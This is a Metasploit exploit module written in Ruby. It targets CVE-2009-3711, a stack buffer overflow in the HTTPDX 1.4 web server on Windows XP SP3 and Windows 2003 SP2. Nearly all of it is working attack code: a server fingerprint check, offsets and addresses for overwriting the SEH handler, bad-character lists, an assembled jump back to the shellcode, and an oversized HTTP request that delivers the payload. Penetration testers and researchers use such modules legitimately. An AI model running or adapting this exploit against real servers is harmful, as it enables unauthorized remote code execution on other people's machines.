##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# httpdx_handlepeer.rb
#
# HTTPDX 'h_handlepeer()' Function Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms
#  - HTTPDX 1.4 on Microsoft Windows XP SP3
#
# This vulnerability was found by Pankaj Kohli, see references.
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /httpdx\/.* \(Win32\)/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTTPDX h_handlepeer() Function Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
        vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
        By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
      },
      'Author'         =>
        [
          'Pankaj Kohli <pankaj208[at]gmail.com>',	# Original exploit [see References]
          'Trancer <mtrancer[at]gmail.com>',			# Metasploit implementation
          'jduck'
        ],
      'References'     =>
        [
          [ 'OSVDB', '58714' ],
          [ 'CVE', '2009-3711' ],
          [ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
          [ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 472,
          # other characters get mangled, but only in a temporary buffer
          'BadChars' => "\x00\x0a\x0d\x20\x25\x2e\x2f\x3f\x5c",
          'StackAdjustment' => -3500,
          # 'DisableNops'	=>  'True'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [	'httpdx 1.4 - Windows XP SP3 English',
            {
              'Offset' 	=> 476,
              'Ret' 		=> 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)
              'Readable' 	=> 0x63b80131 	 # early in n.dll
            }
          ],
          [	'httpdx 1.4 - Windows 2003 SP2 English',
            {
              'Offset' 	=> 472,
              'Ret' 		=> 0x63b81a07,  # seh handler (pop/pop/ret in n.dll)
              'Readable' 	=> 0x63b80131 	 # early in n.dll
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 08 2009'
    ))
  end

  def check
    info = http_fingerprint  # check method
    if info and (info =~ /httpdx\/(.*) \(Win32\)/)
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end


  def exploit
    uri = payload.encoded
    if target['Offset'] > payload_space
      pad = target['Offset'] - payload_space
      uri << rand_text(pad)
    end
    uri << generate_seh_record(target.ret)
    # jmp back to shellcode
    uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
    # extra causing hitting end of the stack
    uri << rand_text_alphanumeric(1024)

    uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)

    sploit = '/' + rand_text(3) + '=' + uri

    # an empty host header gives us 512 bytes in the client structure
    # (the client->filereq and client->host buffers are adjacement in memory)
    datastore['VHOST'] = ''

    print_status("Trying target #{target.name}...")
    res = send_request_raw(
      {
        'uri'      => sploit
      }, 5)

    handler
  end
end
